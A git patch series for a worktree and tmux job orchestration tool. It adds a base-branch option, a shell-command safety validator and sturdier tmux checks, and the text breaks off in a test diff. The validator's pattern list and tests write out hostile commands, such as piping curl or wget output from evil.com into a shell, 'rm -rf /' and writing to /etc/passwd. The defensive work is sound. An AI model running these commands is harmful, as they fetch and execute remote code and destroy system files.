From 3b0ba52a745db0bd363117c8e391194bea3e5e83 Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 08:23:03 -0600 Subject: [PATCH 01/13] feat: support custom base branch for mc_launch, mc_plan, and all git workflow tools Thread an optional baseBranch parameter through the entire job lifecycle so users can start work from feature/release branches instead of main. Closes #40 --- src/lib/integration.ts | 12 +++---- src/lib/orchestrator.ts | 8 +++-- src/lib/plan-types.ts | 1 + src/lib/providers/worktree-provider.ts | 3 +- src/lib/schemas.ts | 1 + src/lib/worktree.ts | 45 ++++++++++++++------------ src/tools/diff.ts | 29 ++++++++++------- src/tools/launch.ts | 12 ++++++- src/tools/merge.ts | 2 +- src/tools/plan-approve.ts | 4 ++- src/tools/plan.ts | 5 +++ src/tools/pr.ts | 8 +++-- src/tools/sync.ts | 4 ++- 13 files changed, 85 insertions(+), 49 deletions(-) diff --git a/src/lib/integration.ts b/src/lib/integration.ts index 263103a..0dc5b20 100644 --- a/src/lib/integration.ts +++ b/src/lib/integration.ts @@ -24,6 +24,7 @@ const XDG_DATA_DIR = getXdgDataDir(); export async function createIntegrationBranch( planId: string, postCreate?: PostCreateHook, + baseRef?: string, ): Promise<{ branch: string; worktreePath: string }> { const projectId = await getProjectId(); const branchName = `mc/integration-${planId}`; @@ -43,17 +44,17 @@ export async function createIntegrationBranch( } // Get the current main HEAD to create branch from - const defaultBranch = await getDefaultBranch(); - const mainHeadResult = await gitCommand(['rev-parse', defaultBranch]); - if (mainHeadResult.exitCode !== 0) { - throw new Error(`Failed to get ${defaultBranch} HEAD: ` + mainHeadResult.stderr); + const baseBranch = baseRef ?? await getDefaultBranch(); + const baseHeadResult = await gitCommand(['rev-parse', baseBranch]); + if (baseHeadResult.exitCode !== 0) { + throw new Error(`Failed to get ${baseBranch} HEAD: ` + baseHeadResult.stderr); } // Create the branch from main HEAD const createBranchResult = await gitCommand([ 'branch', branchName, - mainHeadResult.stdout, + baseHeadResult.stdout, ]); if (createBranchResult.exitCode !== 0) { throw new Error(`Failed to create integration branch: ${createBranchResult.stderr}`); @@ -161,4 +162,3 @@ export async function refreshIntegrationFromMain( return { success: true }; } - diff --git a/src/lib/orchestrator.ts b/src/lib/orchestrator.ts index 6553148..307a099 100644 --- a/src/lib/orchestrator.ts +++ b/src/lib/orchestrator.ts @@ -327,7 +327,9 @@ export class Orchestrator { }; const integrationPostCreate = resolvePostCreateHook(this.config.worktreeSetup); - const integration = await createIntegrationBranch(spec.id, integrationPostCreate); + const integration = spec.baseBranch + ? await createIntegrationBranch(spec.id, integrationPostCreate, spec.baseBranch) + : await createIntegrationBranch(spec.id, integrationPostCreate); plan.integrationBranch = integration.branch; plan.integrationWorktree = integration.worktreePath; @@ -925,7 +927,7 @@ If your work needs human review before it can proceed: mc_report(status: "needs_ throw new Error(`Failed to push integration branch: ${pushResult.stderr || pushResult.stdout}`); } - const defaultBranch = await getDefaultBranch(); + const baseBranch = plan.baseBranch ?? await getDefaultBranch(); const title = plan.name; const jobLines = plan.jobs.map((j) => { const status = j.status === 'merged' ? '✅' : j.status === 'failed' ? '❌' : '⏳'; @@ -977,7 +979,7 @@ If your work needs human review before it can proceed: mc_report(status: "needs_ '--head', plan.integrationBranch, '--base', - defaultBranch, + baseBranch, '--title', title, '--body', diff --git a/src/lib/plan-types.ts b/src/lib/plan-types.ts index 3488afb..ad675a4 100644 --- a/src/lib/plan-types.ts +++ b/src/lib/plan-types.ts @@ -29,6 +29,7 @@ export interface PlanSpec { name: string; mode: 'autopilot' | 'copilot' | 'supervisor'; placement?: 'session' | 'window'; + baseBranch?: string; status: PlanStatus; jobs: JobSpec[]; integrationBranch: string; diff --git a/src/lib/providers/worktree-provider.ts b/src/lib/providers/worktree-provider.ts index 908737b..2fc8ae1 100644 --- a/src/lib/providers/worktree-provider.ts +++ b/src/lib/providers/worktree-provider.ts @@ -40,6 +40,7 @@ export interface WorktreeProvider { create(opts: { branch: string; basePath?: string; + startPoint?: string; postCreate?: PostCreateHook; }): Promise; @@ -56,5 +57,5 @@ export interface WorktreeProvider { * Sync a worktree with the base branch using the specified strategy. * Returns success status and any conflicts. */ - sync(path: string, strategy: 'rebase' | 'merge'): Promise; + sync(path: string, strategy: 'rebase' | 'merge', baseBranch?: string): Promise; } diff --git a/src/lib/schemas.ts b/src/lib/schemas.ts index 7b6be91..0289bfa 100644 --- a/src/lib/schemas.ts +++ b/src/lib/schemas.ts @@ -5,6 +5,7 @@ export const JobSchema = z.object({ name: z.string(), worktreePath: z.string(), branch: z.string(), + baseBranch: z.string().optional(), tmuxTarget: z.string(), placement: z.enum(['session', 'window']), status: z.enum(['running', 'completed', 'failed', 'stopped']), diff --git a/src/lib/worktree.ts b/src/lib/worktree.ts index 4303bba..b3e4f3d 100644 --- a/src/lib/worktree.ts +++ b/src/lib/worktree.ts @@ -69,6 +69,7 @@ export async function listWorktrees(): Promise { export async function createWorktree(opts: { branch: string; basePath?: string; + startPoint?: string; postCreate?: PostCreateHook; }): Promise { const projectId = await getProjectId(); @@ -86,13 +87,9 @@ export async function createWorktree(opts: { if (branchExists) { createResult = await gitCommand(['worktree', 'add', worktreePath, opts.branch]); } else { - createResult = await gitCommand([ - 'worktree', - 'add', - '-b', - opts.branch, - worktreePath, - ]); + const args = ['worktree', 'add', '-b', opts.branch, worktreePath]; + if (opts.startPoint) args.push(opts.startPoint); + createResult = await gitCommand(args); } if (createResult.exitCode !== 0) { @@ -209,21 +206,26 @@ export async function getWorktreeForBranch( export async function syncWorktree( path: string, strategy: 'rebase' | 'merge', + baseBranch?: string, ): Promise { - const upstreamResult = await gitCommand( - ['-C', path, 'rev-parse', '--abbrev-ref', 'HEAD@{upstream}'], - ); - let targetBranch: string; - if (upstreamResult.exitCode !== 0) { - const defaultBranchResult = await gitCommand([ - 'symbolic-ref', - '--short', - 'refs/remotes/origin/HEAD', - ]); - targetBranch = defaultBranchResult.stdout || 'main'; + if (baseBranch) { + targetBranch = `origin/${baseBranch}`; } else { - targetBranch = upstreamResult.stdout; + const upstreamResult = await gitCommand( + ['-C', path, 'rev-parse', '--abbrev-ref', 'HEAD@{upstream}'], + ); + + if (upstreamResult.exitCode !== 0) { + const defaultBranchResult = await gitCommand([ + 'symbolic-ref', + '--short', + 'refs/remotes/origin/HEAD', + ]); + targetBranch = defaultBranchResult.stdout || 'main'; + } else { + targetBranch = upstreamResult.stdout; + } } const fetchResult = await gitCommand(['-C', path, 'fetch', 'origin']); @@ -254,6 +256,7 @@ export class GitWorktreeProvider implements WorktreeProvider { async create(opts: { branch: string; basePath?: string; + startPoint?: string; postCreate?: PostCreateHook; }): Promise { return createWorktree(opts); @@ -267,7 +270,7 @@ export class GitWorktreeProvider implements WorktreeProvider { return listWorktrees(); } - async sync(path: string, strategy: 'rebase' | 'merge'): Promise { - return syncWorktree(path, strategy); + async sync(path: string, strategy: 'rebase' | 'merge', baseBranch?: string): Promise { + return syncWorktree(path, strategy, baseBranch); } } diff --git a/src/tools/diff.ts b/src/tools/diff.ts index 610956d..3e63c73 100644 --- a/src/tools/diff.ts +++ b/src/tools/diff.ts @@ -6,17 +6,22 @@ async function executeGitDiff( worktreePath: string, branch: string, stat: boolean = false, + baseBranch?: string, ): Promise { - const baseResult = await gitCommand( - ['rev-parse', '--abbrev-ref', 'origin/HEAD'], - { cwd: worktreePath }, - ); - - let baseBranch = 'main'; - if (baseResult.exitCode === 0) { - const match = baseResult.stdout.match(/origin\/(.+)/); - if (match) { - baseBranch = match[1]; + let base: string; + if (baseBranch) { + base = baseBranch; + } else { + const baseResult = await gitCommand( + ['rev-parse', '--abbrev-ref', 'origin/HEAD'], + { cwd: worktreePath }, + ); + base = 'main'; + if (baseResult.exitCode === 0) { + const match = baseResult.stdout.match(/origin\/(.+)/); + if (match) { + base = match[1]; + } } } @@ -24,7 +29,7 @@ async function executeGitDiff( if (stat) { args.push('--stat'); } - args.push(`origin/${baseBranch}..${branch}`); + args.push(`origin/${base}..${branch}`); const diffResult = await gitCommand(args, { cwd: worktreePath }); @@ -54,7 +59,7 @@ export const mc_diff: ToolDefinition = tool({ } // 2. Execute git diff - const diff = await executeGitDiff(job.worktreePath, job.branch, args.stat); + const diff = await executeGitDiff(job.worktreePath, job.branch, args.stat, job.baseBranch); // 3. Return diff output return diff || '(no changes)'; diff --git a/src/tools/launch.ts b/src/tools/launch.ts index 6ac910a..5c36906 100644 --- a/src/tools/launch.ts +++ b/src/tools/launch.ts @@ -82,6 +82,10 @@ export const mc_launch: ToolDefinition = tool({ .string() .optional() .describe('Branch name (defaults to mc/{name})'), + baseBranch: tool.schema + .string() + .optional() + .describe('Branch or ref to start from (defaults to default branch)'), placement: tool.schema .enum(['session', 'window']) .optional() @@ -161,7 +165,11 @@ export const mc_launch: ToolDefinition = tool({ let worktreePath: string; try { - worktreePath = await createWorktree({ branch, postCreate }); + worktreePath = await createWorktree({ + branch, + postCreate, + startPoint: args.baseBranch, + }); } catch (error) { throw new Error( `Failed to create worktree for branch "${branch}": ${error instanceof Error ? error.message : String(error)}`, @@ -291,6 +299,7 @@ export const mc_launch: ToolDefinition = tool({ name: args.name, worktreePath, branch, + baseBranch: args.baseBranch, tmuxTarget, placement, status: 'running', @@ -308,6 +317,7 @@ export const mc_launch: ToolDefinition = tool({ '', ` ID: ${jobId}`, ` Branch: ${branch}`, + ...(args.baseBranch ? [` Base: ${args.baseBranch}`] : []), ` Worktree: ${worktreePath}`, ` tmux: ${tmuxTarget}`, ` Placement: ${placement}`, diff --git a/src/tools/merge.ts b/src/tools/merge.ts index fe081d4..bde6411 100644 --- a/src/tools/merge.ts +++ b/src/tools/merge.ts @@ -53,7 +53,7 @@ export const mc_merge: ToolDefinition = tool({ const mainWorktreePath = await getMainWorktree(); // 3. Get the base branch - const baseBranch = await getBaseBranch(mainWorktreePath); + const baseBranch = job.baseBranch ?? await getBaseBranch(mainWorktreePath); // 4. Load config and resolve merge strategy const config = await loadConfig(); diff --git a/src/tools/plan-approve.ts b/src/tools/plan-approve.ts index 970da90..bd5a1c6 100644 --- a/src/tools/plan-approve.ts +++ b/src/tools/plan-approve.ts @@ -81,7 +81,9 @@ export const mc_plan_approve: ToolDefinition = tool({ // Create integration infrastructure that copilot mode skipped const config = await loadConfig(); const integrationPostCreate = resolvePostCreateHook(config.worktreeSetup); - const integration = await createIntegrationBranch(plan.id, integrationPostCreate); + const integration = plan.baseBranch + ? await createIntegrationBranch(plan.id, integrationPostCreate, plan.baseBranch) + : await createIntegrationBranch(plan.id, integrationPostCreate); plan.integrationBranch = integration.branch; plan.integrationWorktree = integration.worktreePath; plan.status = 'running'; diff --git a/src/tools/plan.ts b/src/tools/plan.ts index d4d9d1c..570ef76 100644 --- a/src/tools/plan.ts +++ b/src/tools/plan.ts @@ -49,6 +49,10 @@ export const mc_plan: ToolDefinition = tool({ .enum(['session', 'window']) .optional() .describe('tmux placement for jobs: session (default) or window in current session'), + baseBranch: tool.schema + .string() + .optional() + .describe('Base branch for the integration branch (defaults to default branch)'), }, async execute(args, context) { const mode = args.mode ?? 'autopilot'; @@ -109,6 +113,7 @@ export const mc_plan: ToolDefinition = tool({ name: args.name, mode, placement: args.placement, + baseBranch: args.baseBranch, status: 'pending', jobs: jobSpecs, integrationBranch: `mc/integration-${planId}`, diff --git a/src/tools/pr.ts b/src/tools/pr.ts index e40463c..7e39c5d 100644 --- a/src/tools/pr.ts +++ b/src/tools/pr.ts @@ -76,6 +76,10 @@ export const mc_pr: ToolDefinition = tool({ .boolean() .optional() .describe('Create as draft PR'), + baseBranch: tool.schema + .string() + .optional() + .describe('Target branch for the PR (defaults to the job\'s base branch, or the repo default branch)'), }, async execute(args) { // 1. Get job by name @@ -100,11 +104,11 @@ export const mc_pr: ToolDefinition = tool({ const prTitle = args.title || job.name; // 4. Build gh pr create arguments - const defaultBranch = await getDefaultBranch(job.worktreePath); + const baseBranch = args.baseBranch ?? job.baseBranch ?? await getDefaultBranch(job.worktreePath); const ghArgs: string[] = [ '--title', prTitle, '--head', job.branch, - '--base', defaultBranch, + '--base', baseBranch, ]; // 5. Build PR body — use explicit body, or fall back to default diff --git a/src/tools/sync.ts b/src/tools/sync.ts index f7c68cf..b70d924 100644 --- a/src/tools/sync.ts +++ b/src/tools/sync.ts @@ -22,7 +22,9 @@ export const mc_sync: ToolDefinition = tool({ const syncStrategy = args.strategy || 'rebase'; // 3. Sync the worktree - const result = await syncWorktree(job.worktreePath, syncStrategy); + const result = job.baseBranch + ? await syncWorktree(job.worktreePath, syncStrategy, job.baseBranch) + : await syncWorktree(job.worktreePath, syncStrategy); // 4. Format output if (result.success) { From aaa0a18faf4ebd0557512df704835622b809e193 Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 08:44:32 -0600 Subject: [PATCH 02/13] fix(security): sanitize worktreeSetup.commands before shell execution --- src/lib/schemas.ts | 1 + src/lib/worktree-setup.ts | 80 +++++++++++++++ src/lib/worktree.ts | 15 +++ tests/lib/worktree-setup.test.ts | 168 ++++++++++++++++++++++++++++++- 4 files changed, 263 insertions(+), 1 deletion(-) diff --git a/src/lib/schemas.ts b/src/lib/schemas.ts index 0289bfa..b6a6c07 100644 --- a/src/lib/schemas.ts +++ b/src/lib/schemas.ts @@ -110,6 +110,7 @@ export const MCConfigSchema = z.object({ testTimeout: z.number().optional(), mergeStrategy: z.enum(['squash', 'ff-only', 'merge']).optional(), worktreeSetup: WorktreeSetupSchema.optional(), + allowUnsafeCommands: z.boolean().optional(), omo: OmoConfigSchema, }); diff --git a/src/lib/worktree-setup.ts b/src/lib/worktree-setup.ts index db61bff..374e557 100644 --- a/src/lib/worktree-setup.ts +++ b/src/lib/worktree-setup.ts @@ -1,6 +1,86 @@ import type { PostCreateHook } from './providers/worktree-provider'; import type { WorktreeSetup } from './config'; +export type CommandValidationResult = { + safe: boolean; + warnings: string[]; +}; + +// Each entry: [regex pattern, human-readable warning message] +const DANGEROUS_PATTERNS: [RegExp, string][] = [ + [/`[^`]+`/, 'backtick command substitution'], + [/\$\(/, 'dollar-paren command substitution'], + [/\beval\b/, 'eval execution'], + [/\bexec\b/, 'exec execution'], + [/\|\s*(sh|bash|zsh|dash)\b/, 'pipe to shell interpreter'], + [/\b(curl|wget)\b.*\|/, 'remote script piped to another command'], + [/\brm\s+(-[a-zA-Z]*f[a-zA-Z]*\s+)?-[a-zA-Z]*r[a-zA-Z]*\s+\//, 'recursive delete from root'], + [/\brm\s+(-[a-zA-Z]*r[a-zA-Z]*\s+)?-[a-zA-Z]*f[a-zA-Z]*\s+\//, 'recursive force-delete from root'], + [/\brm\s+-rf\s+\//, 'rm -rf /'], + [/>\s*\/etc\//, 'redirect to /etc/'], + [/>\s*\/usr\//, 'redirect to /usr/'], + [/>\s*\/sys\//, 'redirect to /sys/'], + [/>\s*\/proc\//, 'redirect to /proc/'], + [/;/, 'semicolon-chained commands'], + [/&&/, 'chained commands (&&)'], + [/\|(?!\|)/, 'pipe operator'], +]; + +const SAFE_COMMAND_PATTERNS: RegExp[] = [ + /^(npm|npx)\s+(install|ci|run\s+\S+|test|build|start|exec)\b/, + /^bun\s+(install|add|remove|run\s+\S+|test|build|x)\b/, + /^yarn(\s+(install|add|remove|run\s+\S+|test|build))?$/, + /^pnpm\s+(install|add|remove|run\s+\S+|test|build)\b/, + /^pip\s+install\b/, + /^cargo\s+(build|test|run|check|clippy|fmt)\b/, + /^make(\s+\w+)?$/, + /^go\s+(build|test|mod\s+\w+)\b/, + /^mvn\s+/, + /^gradle\s+/, + /^dotnet\s+(build|test|restore|run)\b/, + /^composer\s+(install|update|require)\b/, + /^bundle\s+(install|exec)\b/, + /^gem\s+install\b/, + /^mix\s+(deps\.get|compile|test)\b/, + /^poetry\s+(install|build|run)\b/, + /^cmake\b/, +]; + +export function validateCommand(command: string): CommandValidationResult { + const trimmed = command.trim(); + const warnings: string[] = []; + + if (trimmed.length === 0) { + return { safe: false, warnings: ['empty command'] }; + } + + for (const pattern of SAFE_COMMAND_PATTERNS) { + if (pattern.test(trimmed)) { + return { safe: true, warnings: [] }; + } + } + + for (const [pattern, description] of DANGEROUS_PATTERNS) { + if (pattern.test(trimmed)) { + warnings.push(description); + } + } + + return { + safe: warnings.length === 0, + warnings, + }; +} + +export function validateCommands( + commands: string[], +): { command: string; result: CommandValidationResult }[] { + return commands.map((command) => ({ + command, + result: validateCommand(command), + })); +} + const BUILTIN_SYMLINKS = ['.opencode']; function normalizePath(p: string): string { diff --git a/src/lib/worktree.ts b/src/lib/worktree.ts index b3e4f3d..5c6502e 100644 --- a/src/lib/worktree.ts +++ b/src/lib/worktree.ts @@ -9,6 +9,8 @@ import type { WorktreeProvider, } from './providers/worktree-provider'; import { extractConflicts } from './utils'; +import { validateCommand } from './worktree-setup'; +import { loadConfig } from './config'; export type { WorktreeInfo, SyncResult, PostCreateHook }; @@ -133,7 +135,20 @@ async function runPostCreateHooks( } if (hooks.commands) { + const config = await loadConfig(); + const suppressWarnings = config.allowUnsafeCommands === true; + for (const cmd of hooks.commands) { + if (!suppressWarnings) { + const validation = validateCommand(cmd); + if (!validation.safe) { + const warnings = validation.warnings.join(', '); + console.error( + `[mc] Warning: potentially unsafe worktree command: "${cmd}" (${warnings})`, + ); + } + } + const proc = spawn(['sh', '-c', cmd], { cwd: worktreePath, stdout: 'pipe', diff --git a/tests/lib/worktree-setup.test.ts b/tests/lib/worktree-setup.test.ts index 29a9346..f369844 100644 --- a/tests/lib/worktree-setup.test.ts +++ b/tests/lib/worktree-setup.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect } from 'vitest'; -import { resolvePostCreateHook } from '../../src/lib/worktree-setup'; +import { resolvePostCreateHook, validateCommand, validateCommands } from '../../src/lib/worktree-setup'; describe('resolvePostCreateHook', () => { it('should always include .opencode in symlinkDirs', () => { @@ -77,3 +77,169 @@ describe('resolvePostCreateHook', () => { expect(result.symlinkDirs).toEqual(['.opencode']); }); }); + +describe('validateCommand', () => { + describe('safe commands', () => { + it.each([ + 'npm install', + 'npm ci', + 'npm run build', + 'npm test', + 'npx install', + 'bun install', + 'bun add lodash', + 'bun run build', + 'bun test', + 'yarn install', + 'yarn', + 'pnpm install', + 'pnpm run build', + 'pip install -e .', + 'pip install requests', + 'cargo build', + 'cargo test', + 'cargo check', + 'make', + 'make build', + 'go build', + 'go test', + 'go mod tidy', + 'dotnet build', + 'dotnet test', + 'composer install', + 'bundle install', + 'gem install rails', + 'mix deps.get', + 'poetry install', + 'cmake', + ])('should mark "%s" as safe', (cmd) => { + const result = validateCommand(cmd); + expect(result.safe).toBe(true); + expect(result.warnings).toHaveLength(0); + }); + }); + + describe('dangerous patterns', () => { + it('should flag backtick command substitution', () => { + const result = validateCommand('echo `whoami`'); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('backtick command substitution'); + }); + + it('should flag $() command substitution', () => { + const result = validateCommand('echo $(whoami)'); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('dollar-paren command substitution'); + }); + + it('should flag eval', () => { + const result = validateCommand('eval "rm -rf /"'); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('eval execution'); + }); + + it('should flag exec', () => { + const result = validateCommand('exec /bin/sh'); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('exec execution'); + }); + + it('should flag pipe to shell interpreter', () => { + const result = validateCommand('cat script.sh | bash'); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('pipe to shell interpreter'); + }); + + it('should flag curl piped to another command', () => { + const result = validateCommand('curl https://evil.com/script.sh | sh'); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('remote script piped to another command'); + }); + + it('should flag wget piped to another command', () => { + const result = validateCommand('wget -qO- https://evil.com | bash'); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('remote script piped to another command'); + }); + + it('should flag rm -rf /', () => { + const result = validateCommand('rm -rf /'); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('rm -rf /'); + }); + + it('should flag rm with reordered flags targeting root', () => { + const result = validateCommand('rm -fr /'); + expect(result.safe).toBe(false); + expect(result.warnings.some((w) => w.includes('delete from root'))).toBe(true); + }); + + it('should flag redirect to /etc/', () => { + const result = validateCommand('echo "hack" > /etc/passwd'); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('redirect to /etc/'); + }); + + it('should flag semicolon-chained commands', () => { + const result = validateCommand('echo hello; rm -rf /tmp'); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('semicolon-chained commands'); + }); + + it('should flag && chained commands', () => { + const result = validateCommand('cd /tmp && rm -rf *'); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('chained commands (&&)'); + }); + + it('should flag pipe operator', () => { + const result = validateCommand('cat file | grep secret'); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('pipe operator'); + }); + + it('should collect multiple warnings for a single command', () => { + const result = validateCommand('curl https://evil.com | sh'); + expect(result.safe).toBe(false); + expect(result.warnings.length).toBeGreaterThanOrEqual(2); + }); + }); + + describe('edge cases', () => { + it('should flag empty command', () => { + const result = validateCommand(''); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('empty command'); + }); + + it('should flag whitespace-only command', () => { + const result = validateCommand(' '); + expect(result.safe).toBe(false); + expect(result.warnings).toContain('empty command'); + }); + + it('should treat unknown simple commands as safe', () => { + const result = validateCommand('my-custom-setup-script'); + expect(result.safe).toBe(true); + expect(result.warnings).toHaveLength(0); + }); + }); +}); + +describe('validateCommands', () => { + it('should validate multiple commands and return per-command results', () => { + const results = validateCommands(['npm install', 'eval bad', 'bun test']); + expect(results).toHaveLength(3); + expect(results[0].command).toBe('npm install'); + expect(results[0].result.safe).toBe(true); + expect(results[1].command).toBe('eval bad'); + expect(results[1].result.safe).toBe(false); + expect(results[2].command).toBe('bun test'); + expect(results[2].result.safe).toBe(true); + }); + + it('should return empty array for empty input', () => { + const results = validateCommands([]); + expect(results).toHaveLength(0); + }); +}); From c0fa6bfac45ac563c85afa78f53f88f8eb96ba9d Mon Sep 17 00:00:00 2001 From: Nigel Bazzeghin Date: Fri, 13 Feb 2026 08:44:36 -0600 Subject: [PATCH 03/13] fix: distinguish tmux errors from dead panes in isPaneRunning --- src/lib/monitor.ts | 11 +++- src/lib/orchestrator.ts | 37 +++++++---- src/lib/tmux.ts | 96 ++++++++++++++++++++++------ tests/lib/monitor.test.ts | 8 +-- tests/lib/tmux-isPaneRunning.test.ts | 56 ++++++++++++++++ tests/lib/tmux.test.ts | 10 ++- 6 files changed, 180 insertions(+), 38 deletions(-) create mode 100644 tests/lib/tmux-isPaneRunning.test.ts diff --git a/src/lib/monitor.ts b/src/lib/monitor.ts index f128c74..d5e60b5 100644 --- a/src/lib/monitor.ts +++ b/src/lib/monitor.ts @@ -157,7 +157,16 @@ export class JobMonitor extends EventEmitter { for (const job of jobs) { try { - const isRunning = await isPaneRunning(job.tmuxTarget); + let isRunning: boolean; + try { + isRunning = await isPaneRunning(job.tmuxTarget); + } catch (paneError) { + console.warn( + `tmux error checking job ${job.id}, skipping this poll cycle:`, + paneError instanceof Error ? paneError.message : paneError, + ); + continue; + } if (!isRunning) { this.idleTrackers.delete(job.id); diff --git a/src/lib/orchestrator.ts b/src/lib/orchestrator.ts index 307a099..593214d 100644 --- a/src/lib/orchestrator.ts +++ b/src/lib/orchestrator.ts @@ -18,6 +18,7 @@ import { getCurrentSession, isInsideTmux, isPaneRunning, + isTmuxHealthy, killSession, killWindow, setPaneDiedHook, @@ -887,18 +888,30 @@ If your work needs human review before it can proceed: mc_report(status: "needs_ const runningJobs = (await getRunningJobs()).filter((job) => job.planId === plan.id); let hasDeadRunningJob = false; - for (const runningJob of runningJobs) { - const paneAlive = await isPaneRunning(runningJob.tmuxTarget); - if (!paneAlive) { - hasDeadRunningJob = true; - await updateJob(runningJob.id, { - status: 'failed', - completedAt: new Date().toISOString(), - }); - await updatePlanJob(plan.id, runningJob.name, { - status: 'failed', - error: 'tmux pane is not running', - }); + const tmuxHealthy = await isTmuxHealthy(); + if (!tmuxHealthy) { + console.warn('tmux server is not responsive, skipping pane checks during resumePlan'); + } else { + for (const runningJob of runningJobs) { + try { + const paneAlive = await isPaneRunning(runningJob.tmuxTarget); + if (!paneAlive) { + hasDeadRunningJob = true; + await updateJob(runningJob.id, { + status: 'failed', + completedAt: new Date().toISOString(), + }); + await updatePlanJob(plan.id, runningJob.name, { + status: 'failed', + error: 'tmux pane is not running', + }); + } + } catch (error) { + console.warn( + `tmux error checking job ${runningJob.name} during resumePlan, skipping:`, + error instanceof Error ? error.message : error, + ); + } } } diff --git a/src/lib/tmux.ts b/src/lib/tmux.ts index ff56607..ed31fea 100644 --- a/src/lib/tmux.ts +++ b/src/lib/tmux.ts @@ -283,34 +283,90 @@ export async function getPanePid( } } +/** Stderr patterns that indicate the pane/session genuinely does not exist */ +const PANE_NOT_FOUND_PATTERNS = [ + "can't find pane", + "no such session", + "session not found", + "window not found", + "can't find window", + "no current target", + "no server running", +]; + +function isPaneNotFoundError(stderr: string): boolean { + const lower = stderr.toLowerCase(); + return PANE_NOT_FOUND_PATTERNS.some((pattern) => lower.includes(pattern)); +} + /** - * Check if a tmux pane is running + * Check if a tmux pane is running. + * Returns false when pane genuinely doesn't exist. Throws on tmux infrastructure failures. + * Retries once (500ms delay) to handle transient errors. */ export async function isPaneRunning(target: string): Promise { - try { - const proc = spawn([ - "tmux", - "display-message", - "-t", - target, - "-p", - "#{pane_dead}", - ], { stderr: "pipe" }); - const output = await new Response(proc.stdout).text(); - const exitCode = await proc.exited; + let lastError: Error | undefined; - if (exitCode !== 0) { - return false; + for (let attempt = 0; attempt < 2; attempt++) { + if (attempt > 0) { + await new Promise((resolve) => setTimeout(resolve, 500)); } - const outputStr = output.trim(); - if (!outputStr || outputStr === "") { - return false; + try { + const proc = spawn([ + "tmux", + "display-message", + "-t", + target, + "-p", + "#{pane_dead}", + ], { stderr: "pipe" }); + const [output, stderrBuf] = await Promise.all([ + new Response(proc.stdout).text(), + new Response(proc.stderr).text(), + ]); + const exitCode = await proc.exited; + + if (exitCode !== 0) { + const stderr = stderrBuf.trim(); + if (isPaneNotFoundError(stderr)) { + return false; + } + // Unknown tmux error — store and retry + lastError = new Error( + `tmux display-message failed (exit ${exitCode}): ${stderr || "(no stderr)"}`, + ); + continue; + } + + const outputStr = output.trim(); + if (!outputStr || outputStr === "") { + return false; + } + + // pane_dead returns 1 if dead, 0 if running + const isDead = outputStr === "1"; + return !isDead; + } catch (error) { + lastError = error instanceof Error + ? error + : new Error(String(error)); + continue; } + } - // pane_dead returns 1 if dead, 0 if running - const isDead = outputStr === "1"; - return !isDead; + // Both attempts failed with a non-"pane not found" error — propagate + throw lastError ?? new Error("isPaneRunning failed after retries"); +} + +/** + * Check if the tmux server is responsive + */ +export async function isTmuxHealthy(): Promise { + try { + const proc = spawn(["tmux", "list-sessions"], { stderr: "pipe", stdout: "pipe" }); + const exitCode = await proc.exited; + return exitCode === 0; } catch { return false; } diff --git a/tests/lib/monitor.test.ts b/tests/lib/monitor.test.ts index 549ccd2..792f45a 100644 --- a/tests/lib/monitor.test.ts +++ b/tests/lib/monitor.test.ts @@ -395,7 +395,7 @@ describe('JobMonitor', () => { monitor.stop(); }); - it('should handle errors gracefully during poll', async () => { + it('should handle isPaneRunning errors gracefully during poll', async () => { const mockJob: Job = { id: 'job-1', name: 'Test Job', @@ -412,18 +412,18 @@ describe('JobMonitor', () => { mockGetRunningJobs.mockResolvedValue([mockJob]); mockIsPaneRunning.mockRejectedValue(new Error('Tmux error')); - const consoleErrorSpy = spyOn(console, 'error').mockImplementation(() => {}); + const consoleWarnSpy = spyOn(console, 'warn').mockImplementation(() => {}); const monitor = new JobMonitor(); monitor.start(); await new Promise(resolve => setTimeout(resolve, 50)); - expect(consoleErrorSpy).toHaveBeenCalled(); + expect(consoleWarnSpy).toHaveBeenCalled(); expect(mockUpdateJob).not.toHaveBeenCalled(); monitor.stop(); - consoleErrorSpy.mockRestore(); + consoleWarnSpy.mockRestore(); }); }); diff --git a/tests/lib/tmux-isPaneRunning.test.ts b/tests/lib/tmux-isPaneRunning.test.ts new file mode 100644 index 0000000..b486574 --- /dev/null +++ b/tests/lib/tmux-isPaneRunning.test.ts @@ -0,0 +1,56 @@ +import { describe, it, expect, afterEach } from 'bun:test'; +import { + isPaneRunning, + isTmuxHealthy, + createSession, + killSession, +} from '../../src/lib/tmux'; + +const TEST_SESSION = 'mc-test-pane-running-xyz'; + +describe('isPaneRunning error handling', () => { + afterEach(async () => { + try { + await killSession(TEST_SESSION); + } catch {} + }); + + it('returns false when pane does not exist', async () => { + const result = await isPaneRunning('nonexistent-session-abc-xyz-999:0'); + expect(result).toBe(false); + }); + + it('returns true for an active pane', async () => { + await createSession({ name: TEST_SESSION, workdir: '/tmp' }); + const result = await isPaneRunning(TEST_SESSION); + expect(result).toBe(true); + }); + + it('returns false after killing a session', async () => { + await createSession({ name: TEST_SESSION, workdir: '/tmp' }); + await killSession(TEST_SESSION); + const result = await isPaneRunning(TEST_SESSION); + expect(result).toBe(false); + }); +}); + +describe('isPaneRunning internal logic', () => { + it('returns false (not throw) for various nonexistent target formats', async () => { + const targets = [ + 'nonexistent-session-aaa:0', + 'nonexistent-session-bbb:nonexistent-window', + 'no-such-sess-ccc', + ]; + for (const target of targets) { + const result = await isPaneRunning(target); + expect(result).toBe(false); + } + }); +}); + +describe('isTmuxHealthy', () => { + it('returns true when tmux server is running', async () => { + const result = await isTmuxHealthy(); + expect(result).toBe(true); + }); +}); diff --git a/tests/lib/tmux.test.ts b/tests/lib/tmux.test.ts index 72d5468..8d25d04 100644 --- a/tests/lib/tmux.test.ts +++ 